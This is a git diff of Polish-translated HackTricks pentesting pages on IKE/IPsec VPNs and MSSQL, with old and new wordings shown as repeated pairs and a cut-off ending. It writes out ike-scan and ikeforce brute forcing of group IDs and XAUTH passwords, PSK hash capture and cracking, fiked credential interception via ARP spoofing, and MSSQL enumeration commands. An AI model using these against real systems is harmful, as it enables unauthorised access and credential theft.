Cisco zaleca unikanie korzystania z grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że **kraje posiadające dużo zasobów mogą łatwo złamać** szyfrowanie danych, które korzystają z tych słabych grup. Dzieje się to za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Pomimo że kosztuje dużo pieniędzy, aby skonfigurować tę metodę, pozwala tym potężnym krajom odczytywać zaszyfrowane dane w czasie rzeczywistym, jeśli korzystają z grupy, która nie jest wystarczająco silna (np. 1024-bitowa lub mniejsza).
|
||||
Cisco zaleca unikanie używania grup DH 1 i 2, ponieważ nie są wystarczająco silne. Specjaliści uważają, że **kraje posiadające duże zasoby mogą łatwo złamać** szyfrowanie danych korzystających z tych słabych grup. Dokonuje się tego za pomocą specjalnej metody, która przygotowuje je do szybkiego złamania kodów. Pomimo kosztów związanych z ustanowieniem tej metody, pozwala to tym potężnym krajom na odczytywanie zaszyfrowanych danych w czasie rzeczywistym, jeśli używana jest grupa, która nie jest wystarczająco silna (np. 1,024-bitowa lub mniejsza).
|
||||
|
||||
### Fingerprinting serwera
|
||||
### Identyfikacja serwera
|
||||
|
||||
Następnie można użyć ike-scan, aby **odkryć producenta** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** między otrzymanymi **wiadomościami** od serwera a pasującym wzorcem odpowiedzi, co pozwala pentesterowi z powodzeniem zidentyfikować dostawcę bramy VPN. Ponadto, niektóre serwery VPN będą używać opcjonalnego **payloadu Vendor ID (VID)** z IKE.
|
||||
Następnie można użyć ike-scan do próby **odkrycia producenta** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** między otrzymanymi **wiadomościami** od serwera a pasującym wzorcem odpowiedzi, co pozwala pentesterowi z powodzeniem zidentyfikować producenta bramy VPN. Ponadto niektóre serwery VPN będą używać opcjonalnego **ładunku ID producenta (VID)** z IKE.
|
||||
|
||||
**Określ poprawną transformację, jeśli jest to konieczne** (używając --trans)
|
||||
**Określ prawidłową transformację, jeśli jest to konieczne** (używając --trans)
|
||||
|
||||
Jeśli IKE odkryje, jaki jest producent, zostanie to wydrukowane:
|
||||
Jeśli IKE odkryje, jaki jest producent, wypisze go:
|
||||
```
|
||||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||
|
@ -124,52 +115,48 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
```
|
||||
To można również osiągnąć za pomocą skryptu nmap _**ike-version**_
|
||||
|
||||
## Znajdowanie poprawnego ID (nazwy grupy)
|
||||
## Znalezienie poprawnego ID (nazwy grupy)
|
||||
|
||||
Aby móc przechwycić skrót, potrzebujesz prawidłowej transformacji obsługującej tryb Aggressive i poprawnego ID (nazwy grupy). Prawdopodobnie nie będziesz znał poprawnej nazwy grupy, więc będziesz musiał ją przeprowadzić metodą brute-force.\
|
||||
Aby móc przechwycić skrót, potrzebujesz poprawnej transformacji obsługującej tryb Aggressive oraz poprawne ID (nazwa grupy). Prawdopodobnie nie będziesz znać poprawnej nazwy grupy, dlatego będziesz musiał ją przeprowadzić metodą brute-force.\
|
||||
Aby to zrobić, polecam Ci 2 metody:
|
||||
|
||||
### Brute-force ID za pomocą ike-scan
|
||||
### Przeprowadzanie ataku brute-force na ID za pomocą ike-scan
|
||||
|
||||
Przede wszystkim spróbuj wysłać żądanie z fałszywym ID, próbując zgromadzić skrót ("-P"):
|
||||
Po pierwsze, spróbuj złożyć żądanie z fałszywym ID, próbując zgromadzić skrót ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Jeśli **nie zostanie zwrócony żaden skrót**, to prawdopodobnie ta metoda brute forcingu zadziała. **Jeśli zostanie zwrócony jakiś skrót, oznacza to, że dla fałszywego identyfikatora zostanie wysłany fałszywy skrót, więc ta metoda nie będzie niezawodna** do brute forcingu identyfikatora. Na przykład, może zostać zwrócony fałszywy skrót (to się zdarza w nowszych wersjach):
|
||||
Jeśli **nie zostanie zwrócony żaden skrót**, to prawdopodobnie ta metoda ataku brute force zadziała. **Jeśli zostanie zwrócony jakiś skrót, oznacza to, że fałszywy skrót zostanie wysłany z powrotem dla fałszywego ID, więc ta metoda nie będzie niezawodna** do ataku brute-force na ID. Na przykład, może zostać zwrócony fałszywy skrót (co się zdarza w nowoczesnych wersjach):
|
||||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
Ale jeśli, jak już powiedziałem, nie zostanie zwrócony żaden skrót, powinieneś spróbować brute forcingu popularnych nazw grup za pomocą ike-scan.
|
||||
Ale jeśli, jak powiedziałem, nie zostanie zwrócony żaden skrót, powinieneś spróbować ataku brute-force na powszechne nazwy grup za pomocą ike-scan.
|
||||
|
||||
Ten skrypt **spróbuje brute forcingu możliwych identyfikatorów** i zwróci identyfikatory, dla których zostanie zwrócone poprawne połączenie (będzie to poprawna nazwa grupy).
|
||||
Ten skrypt **spróbuje ataku brute-force na możliwe ID** i zwróci ID, dla których zostanie zwrócony poprawny handshake (będzie to poprawna nazwa grupy).
|
||||
|
||||
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ike-scan. A jeśli odkryłeś kilka transformacji, możesz dodać nową pętlę, aby je wszystkie wypróbować (powinieneś wypróbować je wszystkie, dopóki jedna z nich nie będzie działać poprawnie).
|
||||
Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ike-scan. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wszystkie wypróbować, aż jedna z nich będzie działać poprawnie).
|
||||
|
||||
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) z popularnymi nazwami grup do brute forcingu.
|
||||
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) z powszechnymi nazwami grup do ataku brute-force na nie.
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
Lub użyj tego słownika (jest to kombinacja dwóch innych słowników bez powtórzeń):
|
||||
### Bruteforcing ID with Iker
|
||||
|
||||
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) używa również **ike-scan** do przeprowadzenia ataku brutalnej siły na możliwe nazwy grup. Podąża za własną metodą, aby **znaleźć prawidłowe ID na podstawie wyników ike-scan**.
|
||||
|
||||
### Bruteforcing ID za pomocą Iker
|
||||
### Bruteforcing ID with ikeforce
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) również używa **ike-scan** do bruteforce'owania możliwych nazw grup. Posiada własną metodę **znajdowania poprawnego ID na podstawie wyników ike-scan**.
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można użyć do **brutalnego ataku na ID**. To narzędzie będzie **próbować wykorzystać różne podatności**, które mogą być użyte do **rozróżnienia między prawidłowym a nieprawidłowym ID** (może wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).
|
||||
|
||||
### Bruteforcing ID za pomocą ikeforce
|
||||
Domyślnie **ikeforce** na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można użyć do **brute force'owania ID**. Narzędzie to **próbuje wykorzystać różne podatności**, które mogą być użyte do **rozróżnienia między poprawnym a niepoprawnym ID** (może dawać fałszywe pozytywy i fałszywe negatywy, dlatego wole używać metody ike-scan, jeśli to możliwe).
|
||||
* **Pierwsza metoda** polega na brutalnym ataku na nazwy grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (ta informacja jest odtwarzana tylko przez serwer, jeśli nazwa grupy jest poprawna).
|
||||
* **Druga dostępna metoda** polega na **sprawdzaniu liczby odpowiedzi wysłanych do każdej próby**, ponieważ czasami wysyłane jest więcej pakietów, gdy użyte jest poprawne id.
|
||||
* **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na nieprawidłowe ID**.
|
||||
* Wreszcie, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje przeprowadzić brutalny atak na serwer i sprawdzić, czy po wysłaniu poprawnego id serwer odpowiada jakimś pakietem.\
|
||||
Oczywiście celem brutalnego ataku na id jest uzyskanie **PSK** po uzyskaniu prawidłowego id. Następnie, z **id** i **PSK** będziesz musiał przeprowadzić brutalny atak na XAUTH (jeśli jest włączony).
|
||||
|
||||
Domyślnie **ikeforce** na początku wyśle kilka losowych ID, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
||||
|
||||
* **Pierwsza metoda** polega na brute-force'owaniu nazw grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** w systemach Cisco (ta informacja jest odtwarzana tylko przez serwer, jeśli nazwa grupy jest poprawna).
|
||||
* **Druga dostępna metoda** polega na **sprawdzaniu liczby odpowiedzi wysłanych do każdej próby**, ponieważ czasami wysyłane jest więcej pakietów, gdy używane jest poprawne ID.
|
||||
* **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID**.
|
||||
* Wreszcie, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje brute-force'ować serwer i sprawdzić, czy po wysłaniu poprawnego ID serwer odpowiada jakimś pakietem.\
|
||||
Oczywiście, celem brute force'owania ID jest uzyskanie **PSK**, gdy masz poprawne ID. Następnie, przy użyciu **ID** i **PSK**, będziesz musiał brute-force'ować XAUTH (jeśli jest włączony).
|
||||
|
||||
Jeśli odkryłeś konkretną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby wypróbować je wszystkie (powinieneś wypróbować je wszystkie, aż jedna z nich będzie działać poprawnie).
|
||||
Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wszystkie wypróbować, aż jedna z nich będzie działać poprawnie).
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -178,54 +165,52 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
```bash
|
||||
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
||||
```
|
||||
### Podsłuchiwanie ID
|
||||
### Przechwytywanie ID
|
||||
|
||||
(Z książki **Network Security Assessment: Poznaj swoją sieć**): Możliwe jest również uzyskanie prawidłowych nazw użytkowników poprzez podsłuchiwanie połączenia między klientem a serwerem VPN, ponieważ pierwszy pakiet w trybie agresywnym zawierający identyfikator klienta jest wysyłany w sposób jawny.
|
||||
(Z książki **Network Security Assessment: Know Your Network**): Możliwe jest również uzyskanie prawidłowych nazw użytkowników poprzez podsłuchiwanie połączenia między klientem VPN a serwerem, ponieważ pierwszy pakiet trybu agresywnego zawierający identyfikator klienta jest wysyłany w formie niezaszyfrowanej
|
||||
|
||||
![](<../.gitbook/assets/image (111).png>)
|
||||
|
||||
## Przechwytywanie i łamanie hasha
|
||||
|
||||
Wreszcie, jeśli znalazłeś **prawidłową transformację** i **nazwę grupy**, a tryb **agresywny jest dozwolony**, to bardzo łatwo możesz przechwycić hasha, który można złamać:
|
||||
Wreszcie, jeśli znalazłeś **prawidłową transformację** i **nazwę grupy**, oraz jeśli **tryb agresywny jest dozwolony**, wtedy możesz bardzo łatwo przechwycić hasha, który można złamać:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
Skrót zostanie zapisany w pliku _hash.txt_.
|
||||
Hash zostanie zapisany wewnątrz _hash.txt_.
|
||||
|
||||
Możesz użyć **psk-crack**, **john** (korzystając z [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) i **hashcat** do **łamania** skrótu:
|
||||
Możesz użyć **psk-crack**, **john** (korzystając z [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) oraz **hashcat** do **łamania** hasha:
|
||||
```bash
|
||||
psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**Tryb agresywny IKE** w połączeniu z **Pre-Shared Key (PSK)** jest powszechnie stosowany w celu **uwierzytelniania grupowego**. Metoda ta jest wspomagana przez **XAuth (Extended Authentication)**, który wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zwykle wykorzystuje usługi takie jak **Microsoft Active Directory**, **RADIUS** lub podobne systemy.
|
||||
**Tryb agresywny IKE** w połączeniu z **kluczem wstępnym (PSK)** jest powszechnie stosowany do celów **uwierzytelniania grupowego**. Metodę tę uzupełnia **XAuth (Rozszerzona Autentykacja)**, która wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj korzysta z usług takich jak **Microsoft Active Directory**, **RADIUS** lub podobne systemy.
|
||||
|
||||
Przy przejściu do **IKEv2** obserwuje się istotną zmianę, gdzie zamiast **XAuth** wykorzystuje się **EAP (Extensible Authentication Protocol)** do uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w bezpiecznych protokołach komunikacyjnych.
|
||||
Przejście do **IKEv2** wiąże się z zauważalną zmianą, gdzie zamiast **XAuth** wykorzystywany jest **EAP (Protokół Rozszerzonej Autentykacji)** do uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
|
||||
|
||||
|
||||
### Przechwytywanie pośredniego ruchu sieciowego w celu przechwycenia danych uwierzytelniających
|
||||
### Lokalny atak MitM w sieci do przechwytywania poświadczeń
|
||||
|
||||
Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istnieje domyślne nazwa użytkownika (Musisz przekierować ruch IKE do `fiked` w celu przechwycenia, co można zrobić za pomocą ARP spoofing, [więcej informacji](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked będzie działał jako punkt końcowy VPN i przechwyci dane uwierzytelniania XAuth:
|
||||
Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istnieje jakieś domyślne nazwa użytkownika (Musisz przekierować ruch IKE do `fiked` w celu podsłuchiwania, co można zrobić za pomocą podszywania ARP, [więcej informacji](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
Dodatkowo, używając IPSec, spróbuj przeprowadzić atak typu MitM i zablokuj cały ruch do portu 500. Jeśli tunel IPSec nie może zostać ustanowiony, możliwe, że ruch zostanie wysłany w sposób niezaszyfrowany.
|
||||
### Próba siłowego przełamania nazwy użytkownika i hasła XAUTH za pomocą ikeforce
|
||||
|
||||
### Bruteforce'owanie nazwy użytkownika i hasła XAUTH za pomocą narzędzia ikeforce
|
||||
|
||||
Aby przeprowadzić atak typu bruteforce na **XAUTH** (gdy znasz poprawną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
|
||||
Aby siłowo przełamać **XAUTH** (gdy znasz poprawną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
W ten sposób ikeforce spróbuje połączyć się, używając każdej kombinacji nazwa użytkownika:hasło.
|
||||
W ten sposób ikeforce będzie próbował połączyć się, używając każdej kombinacji nazwa użytkownika:hasło.
|
||||
|
||||
Jeśli znalazłeś jedno lub kilka prawidłowych transformacji, użyj ich tak jak w poprzednich krokach.
|
||||
Jeśli znalazłeś jeden lub kilka prawidłowych transformacji, po prostu użyj ich jak w poprzednich krokach.
|
||||
|
||||
## Uwierzytelnianie za pomocą VPN IPSEC
|
||||
## Autoryzacja za pomocą VPN IPSEC
|
||||
|
||||
W Kali, do nawiązywania tuneli IPsec używany jest **VPNC**. **Profile** muszą znajdować się w katalogu `/etc/vpnc/`. Możesz uruchomić te profile za pomocą polecenia _**vpnc**_.
|
||||
W Kali, **VPNC** jest wykorzystywany do nawiązywania tuneli IPsec. **Profile** muszą być umieszczone w katalogu `/etc/vpnc/`. Możesz uruchomić te profile za pomocą polecenia _**vpnc**_.
|
||||
|
||||
Poniższe polecenia i konfiguracje ilustrują proces konfiguracji połączenia VPN za pomocą VPNC:
|
||||
Poniższe polecenia i konfiguracje ilustrują proces ustawiania połączenia VPN za pomocą VPNC:
|
||||
```bash
|
||||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||
IPSec gateway [VPN_GATEWAY_IP]
|
||||
|
@ -244,38 +229,32 @@ W tej konfiguracji:
|
|||
- Zastąp `[VPN_GATEWAY_IP]` rzeczywistym adresem IP bramy VPN.
|
||||
- Zastąp `[VPN_CONNECTION_ID]` identyfikatorem połączenia VPN.
|
||||
- Zastąp `[VPN_GROUP_SECRET]` sekretem grupy VPN.
|
||||
- Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi do VPN.
|
||||
- Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi VPN.
|
||||
- `[PID]` symbolizuje identyfikator procesu, który zostanie przypisany podczas inicjowania `vpnc`.
|
||||
|
||||
Upewnij się, że podczas konfigurowania VPN używasz rzeczywistych i bezpiecznych wartości, aby zastąpić zastępcze symbole.
|
||||
Upewnij się, że podczas konfigurowania VPN zastępujesz zastępcze wartości rzeczywistymi, bezpiecznymi wartościami.
|
||||
|
||||
## Materiały referencyjne
|
||||
|
||||
* [Artykuł o łamaniu PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [Skanowanie implementacji VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Network Security Assessment 3rd Edition
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:500 IKE`
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,24 @@
|
|||
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
||||
# 1433 - Testowanie penetracyjne MSSQL - Microsoft SQL Server
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** to system zarządzania **bazą danych relacyjnych** opracowany przez firmę Microsoft. Jako serwer baz danych jest to produkt oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych zgodnie z żądaniami innych aplikacji oprogramowania - które mogą działać zarówno na tym samym komputerze, jak i na innym komputerze w sieci (w tym w Internecie).\
|
||||
> **Microsoft SQL Server** to **system zarządzania bazą danych relacyjnych** opracowany przez firmę Microsoft. Jako serwer baz danych jest to produkt oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych zgodnie z żądaniami innych aplikacji oprogramowania - które mogą działać zarówno na tym samym komputerze, jak i na innym komputerze w sieci (w tym w Internecie).
|
||||
|
||||
**Domyślny port:** 1433
|
||||
```
|
||||
|
@ -34,11 +26,11 @@ Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
```
|
||||
### **Domyślne tabele systemowe MS-SQL**
|
||||
|
||||
* **Baza danych master**: Ta baza danych jest kluczowa, ponieważ przechowuje wszystkie szczegóły na poziomie systemu dla instancji serwera SQL.
|
||||
* **Baza danych msdb**: Serwer SQL Agent wykorzystuje tę bazę danych do zarządzania harmonogramem alertów i zadań.
|
||||
* **Baza danych model**: Służy jako wzorzec dla każdej nowej bazy danych na instancji serwera SQL, gdzie wszelkie zmiany, takie jak rozmiar, porównywanie, model odzyskiwania i inne, są odzwierciedlane w nowo utworzonych bazach danych.
|
||||
* **Baza danych master**: Ta baza danych jest kluczowa, ponieważ zawiera wszystkie szczegóły na poziomie systemu dla instancji serwera SQL.
|
||||
* **Baza danych msdb**: Agent SQL Servera wykorzystuje tę bazę danych do zarządzania harmonogramem alertów i zadań.
|
||||
* **Baza danych model**: Działa jako wzorzec dla każdej nowej bazy danych na instancji serwera SQL, gdzie wszelkie zmiany takie jak rozmiar, porównywanie, model odzyskiwania i inne są odzwierciedlane w nowo utworzonych bazach danych.
|
||||
* **Baza danych Resource**: Baza danych tylko do odczytu, która zawiera obiekty systemowe dostarczane wraz z serwerem SQL. Te obiekty, choć przechowywane fizycznie w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
|
||||
* **Baza danych tempdb**: Służy jako tymczasowe miejsce przechowywania obiektów tymczasowych lub pośrednich zestawów wyników.
|
||||
* **Baza danych tempdb**: Służy jako tymczasowe miejsce przechowywania obiektów przejściowych lub tymczasowych zbiorów wyników.
|
||||
|
||||
|
||||
## Wyliczanie
|
||||
|
@ -51,10 +43,10 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Bądź ostrożny, możesz **zablokować konta**, jeśli nie uda ci się zalogować kilka razy, używając istniejącej nazwy użytkownika.
|
||||
Jeśli **nie masz poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploita. Bądź ostrożny, możesz **zablokować konta**, jeśli nie uda ci się zalogować kilka razy, używając istniejącej nazwy użytkownika.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (wymaga poświadczeń)
|
||||
#### Metasploit (potrzebne poświadczenia)
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
|
@ -106,409 +98,6 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
|||
2> go
|
||||
```
|
||||
#### Powszechne wyliczanie
|
||||
|
||||
##### Wyliczanie instancji MSSQL
|
||||
|
||||
Aby rozpocząć proces pentestingu MSSQL, pierwszym krokiem jest wyliczenie instancji MSSQL działających na docelowym systemie. Można to zrobić za pomocą narzędzi takich jak `nmap`, `Metasploit` lub `SQLPing3`.
|
||||
|
||||
```plaintext
|
||||
nmap -p 1433 --script ms-sql-info <adres_IP_docelowego_systemu>
|
||||
```
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_ping
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SQLPing3.exe -s <adres_IP_docelowego_systemu>
|
||||
```
|
||||
|
||||
##### Wyliczanie baz danych
|
||||
|
||||
Po zidentyfikowaniu działających instancji MSSQL, kolejnym krokiem jest wyliczenie dostępnych baz danych. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_enum
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --dbs
|
||||
```
|
||||
|
||||
```plaintext
|
||||
